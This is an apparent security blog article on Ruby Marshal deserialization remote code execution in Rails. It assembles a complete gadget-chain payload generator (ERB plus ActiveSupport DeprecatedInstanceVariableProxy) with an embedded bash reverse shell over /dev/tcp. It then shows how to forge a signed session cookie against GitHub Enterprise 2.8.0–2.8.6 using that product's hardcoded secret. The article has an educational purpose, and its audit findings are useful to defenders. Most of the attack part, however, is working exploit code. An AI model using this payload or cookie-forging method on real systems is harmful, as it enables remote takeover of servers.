Ruby on Rails is a popular application platform that uses cookies to identify application sessions.
The cookie consists of two parts: cookie-value and signature. Whenever Rails gets a cookie, it verifies that the cookie has not been tampered with by verifying that the hash/signature of the cookie-value sent matches the signature sent. Demarshalling cookies to retrieve the content generally consists of three logical steps:
- url_decoded_cookie = CGI::unescape(cookie_value)
- b64_decoded_session = Base64.decode64(url_decoded_cookie)
- session = Marshal.load(b64_decoded_session)
During many white-box Ruby on Rails projects’ audits, over and over again we have encountered unsafe use of marshal deserialization. While session cookie deserialization is a serious issue, there is a whole category of demarshalling bugs that can lead to Remote Code Execution (RCE). All cases look like each other: unmarshalling cookies, some GET-POST data, or any kind of data from a user session. For example:
This invocation of demarshalling is quite a dangerous example of using the deserialization mechanism because it may lead straight to arbitrary code execution. That’s a final goal, but first, we need to construct code that runs on access.
PoC creation
The first step is to use some erb template parsers like ERB or Erubis, which is used in GitHub Enterprise. An instance of an src variable may contain pure Ruby code; because of that, we can put a payload here with code that will be executed.
erb = ERB.allocate
erb.instance_variable_set :@src, “%x();”
738: class ERB … 852: # Generate results and print them. (see ERB#result) 853: def run(b=new_toplevel) 854: print self.result(b) 855: end … 865: def result(b=new_toplevel) … 875: eval(@src, b, (@filename || ‘(erb)’), @lineno) 876: end 877: end
or
erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, “%x{};”
10: module Erubis … 44: module RubyEvaluator … 52: ## eval(@src) with binding object 53: def result(_binding_or_hash=TOPLEVEL_BINDING) … 65: return eval(@src, _b, (@filename || ‘(erubis’))
Looking at the source code of evaluators for executing payload, we need to call the result method after the erb object creation. We cannot influence the execution process straight off; because of that, we need to somehow force the call result method during the unmarshalling process. InstanceVariableProxy class can help us with that kind of problem. The ActiveSupport module contains a special mechanism for marking an obsolete method and changing it so it can actually work now. This is called ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
.
Simply put, this mechanism talks to the interpreter: “Hey, guy. This method is not supported anymore. Please, use this one and run.”
089: class DeprecatedInstanceVariableProxy < DeprecationProxy 090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance) 091: @instance = instance 092: @method = method … 098: def target 099: @instance.__send__(@method) … 102: def warn(callstack, called, args) 103: @deprecator.warn(“#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)
So, we can use this to deprecate an instance variable; after running that instance variable, it will throw away the warning message and call the new method. That was exactly what we needed at this step.
class ActiveSupport class Deprecation def initialize() @silenced = true end
class DeprecatedInstanceVariableProxy def initialize(instance, method) @instance = instance @method = method @deprecator = ActiveSupport::Deprecation.new end end end end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set :@instance, erb depr.instance_variable_set :@method, :result depr.instance_variable_set :@var, “@result” depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
or simply depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)
At this step, if we try to access the depr object, we get our code to run.
Now we can serialize the completed object with Marshal.dump and encode with a base64 function.
payload = Base64.encode64(Marshal.dump(depr)).gsub(“n”, “”) puts payload
Combine all steps together into the source code
require “base64” require “erb” class ActiveSupport class Deprecation def initialize() @silenced = true end
class DeprecatedInstanceVariableProxy def initialize(instance, method) @instance = instance @method = method @deprecator = ActiveSupport::Deprecation.new end end end end
erb = ERB.allocate erb.instance_variable_set :@src, "%x(bash -i >& /dev/tcp/127.0.0.1/1337 0>&1);" erb.instance_variable_set :@lineno, 1337
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set :@instance, erb depr.instance_variable_set :@method, :result depr.instance_variable_set :@var, “@result” depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new payload = Base64.encode64(Marshal.dump(depr)).gsub(“n”, “”) puts payload
You can play with that code at the repl.it platform.
A similar bug was found last year at GitHub Enterprise 2.8.0 < 2.8.6 product. There is a static session key for session cookie signs, and cookies themselves are Marshal objects.
/data/enterprise-manage/current/config.ru:
62: # Enable sessions 63: use Rack::Session::Cookie, 64: :key => “_gh_manage”, 65: :path => “/”, 66: :expire_after => 1800, # 30 minutes in seconds 67: :secret => ENV[“ENTERPRISE_SESSION_SECRET”] || “641dd6454584ddabfed6342cc66281fb”
First, use the above-mentioned exploit code to create a DeprecatedInstanceVariableProxy object.
session = {“session_id” => “”, “exploit” => proxy}
After that, we need to marshalize the session variable, encode and HMAC sign its SHA1 digest with our SECRET key 641dd6454584ddabfed6342cc66281fb.
dump = [Marshal.dump(session)].pack(“m”)
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
At last, encode the payload and sign the concatenate with a — separator, and then send in the request as a cookie header.
rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

A few months after this bug was fixed, Taiwanese researcher Orange Tsai found another vulnerability that contained a deserialization bug like this. The issue has four chains-through a remote SSRF to an internal Graphite service SSRF, then to a CR-LF injection inside the Python httplib.HTTPConnection module, and then unsafe deserialization of the Ruby object from the Memcache database. An attacker can store malicious objects generated with the same exploit, and then after fetching that object from the cache Memcache, Ruby gem will deserialize it automatically, which will lead to code execution.

After successful exploitation, attacker can use this type of bug to run arbitrary code on a remote system. Bugs like this lead to serious problems in production because of wide possibilities for use. For example, crypto-miners love to adopt bugs like this into their attack arsenal to infect many systems so that the infected systems can become part of a botnet. Problems, of course, will become more severe if a vulnerable application is running from a high-privileged user on the target system. Keep an eye out!
Links and Resources
https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff
https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload
https://replit.com/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator
http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details
https://www.exploit-db.com/exploits/41616 — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization